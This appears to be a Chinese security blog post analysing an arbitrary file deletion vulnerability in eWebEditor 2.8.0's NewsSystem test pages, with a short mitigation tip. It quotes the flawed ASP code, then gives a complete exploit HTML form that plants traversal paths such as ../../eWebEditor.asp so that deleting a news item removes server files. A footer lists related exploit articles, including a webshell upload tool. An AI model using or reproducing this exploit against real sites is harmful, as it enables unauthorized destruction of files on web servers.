Ewebeditor2.8.0最终版删除任意文件漏洞分析与解决方法

所属分类: 网络安全 / 漏洞分析 阅读数: 103
收藏 0 赞 0 分享
此漏洞存在于Example\NewsSystem目录下的delete.asp文件中,这是ewebeditor的测试页面,无须登陆可以直接进入,看这些代码:
' 把带"|"的字符串转为数组
Dim aSavePathFileName
aSavePathFileName = Split(sSavePathFileName, "|")
' 删除新闻相关的文件,从文件夹中
Dim i
For i = 0 To UBound(aSavePathFileName)
' 按路径文件名删除文件
Call DoDelFile(aSavePathFileName(i))
Next
而aSavePathFileName是前面从数据库取出来的:
sSavePathFileName = oRs("D_SavePathFileName")
看看D_SavePathFileName是怎么添加到数据库里的,在addsave.asp(modifysave.asp)里:
sSavePathFileName = GetSafeStr(Request.Form("d_savepathfilename"))
...
oRs("D_SavePathFileName") = sSavePathFileName
居然过滤了,是GetSafeStr函数,再看看这个函数,在Startup.asp里:
Function GetSafeStr(str)
GetSafeStr = Replace(Replace(Replace(Trim(str), "'", ""), Chr(34), ""), ";", "")
End Function
无 语,这不是过滤字符型注入的函数么?放这里什么用也没有啊!既然路径没有过滤,那就可以直接定义了,构造一个提交页面,其中 d_savepathfilename自己任意赋值(要删除多个文件,用|隔开即可)。试试../../eWebEditor.asp,提交后删除该新 闻,于是主目录下的eWebEditor.asp不见了!
下面给出利用的htm:
<HTML><HEAD><TITLE>eWebEditor删除文件 </TITLE>
<style>body,p,td,input {font-size:9pt}</style>
</HEAD><BODY><a href='list.asp'>新闻列表</a> | <a href='add.asp'>增加新闻</a>
<b>增加新闻</b>
<form action="http://127.0.0.1/editor/Example/NewsSystem/addsave.asp"
method="post" name="myform">
<input type=hidden name=d_originalfilename>
<input type=hidden name=d_savefilename>
<table cellspacing=3 align=center>
<tr><td>要删的文件(相对路径就可以了):</td>
<td><input type="text" name="d_savepathfilename" value="" size="90"></td>
</tr>
<tr><td>新闻标题(随便填):</td>
<td><input type="text" name="d_title" value="" size="90"></td>
</tr>
<tr><td>标题图片:</td>
<td><select name="d_picture" size=1><option value=''>无</option></select>
当编辑区有插入图片时,将自动填充此下拉框</td>
</tr>
<tr><td>新闻内容(随便填):</td>
<td><textarea name="d_content"></textarea></td>
</tr>
</table>
<input type=submit name=btnSubmit value=" 提 交 ">
<input type=reset name=btnReset value=" 重 填 ">
</form>
</BODY></HTML>
删除文件漏洞一般是配合其他漏洞使用的,比如目录遍历!

解决方法:删除测试文件目录,把默认的登录密码修改,或直接删除管理页面,因为,我们配置好,很少再改动的,最好把一些后台文件压缩后,删除。
更多精彩内容其他人还在看

discuz!7.1、7.2 远程代码执行漏洞exp

使用exp的话仅限本机测试,其他用途后果自负!
收藏 0 赞 0 分享

科讯网站管理系统 Kesion v6.5 CMS Oday 利用工具

通过自己构造参数AutoReName=3,可以将上传的文件名保存原样,通过截断可以直接得到SHELL限制,后台禁止了注册,或者禁止了上传,或者把user目录删除了,优点是不用找后台,开放就死。
收藏 0 赞 0 分享

KesionCMS(科讯)上传漏洞与防范方法

有点鸡肋,配合前几天公布的iis6文件名解析漏洞达到获取webshell的目的。
收藏 0 赞 0 分享

Microsoft Windows hxvz.dll ActiveX控件堆溢出漏洞(MS08-023)

受影响系统: Microsoft Windows XP SP2 Microsoft Windows Vista SP1 Microsoft Windows Vista Microsoft Windows Server 2008 Microsoft Windo
收藏 0 赞 0 分享

Microsoft Internet Explorer FTP含命令注入漏洞

受影响系统: Microsoft Internet Explorer 6.0.2900.2180 Microsoft Internet Explorer 5.01 不受影响系统: Microsoft Internet Explorer 7.0
收藏 0 赞 0 分享

Microsoft Windows GDI文件名解析栈溢出漏洞(MS08-021)

受影响系统: Microsoft Windows XP SP2 Microsoft Windows Vista SP1 Microsoft Windows Vista Microsoft Windows Server 2008 Microsoft Windo
收藏 0 赞 0 分享

Microsoft Windows GDI CreateDIBPatternBrushPt函数堆溢出漏洞(MS08-021)

受影响系统: Microsoft Windows XP SP2 Microsoft Windows Vista SP1 Microsoft Windows Vista Microsoft Windows Server 2008 Microsoft Windo
收藏 0 赞 0 分享

解析PNG图象格式库存在远程拒绝服务漏洞

受影响系统: libpng libpng <= 1.2.20 不受影响系统: libpng libpng 1.2.21 描述: -------------------------------------------
收藏 0 赞 0 分享

Microsoft Windows DNS客户端可预测事件处理ID漏洞(MS08-020)

受影响系统: Microsoft Windows XP SP2 Microsoft Windows Vista Microsoft Windows Server 2003 SP2 Microsoft Windows Server 2003 SP1 Micro
收藏 0 赞 0 分享

URL解析漏洞在PDF文档中的利用

右键另存再打开测试文档,否则会调用IE的插件打开,测试会失败。如果你硬要通过点击打开的话,点击这里吧,嘿嘿,这本身也是IE的一个解析漏洞。 在http://seclists.org/fulldisclosure/2007/Oct/0068.html看到这个漏洞的时候,
收藏 0 赞 0 分享
查看更多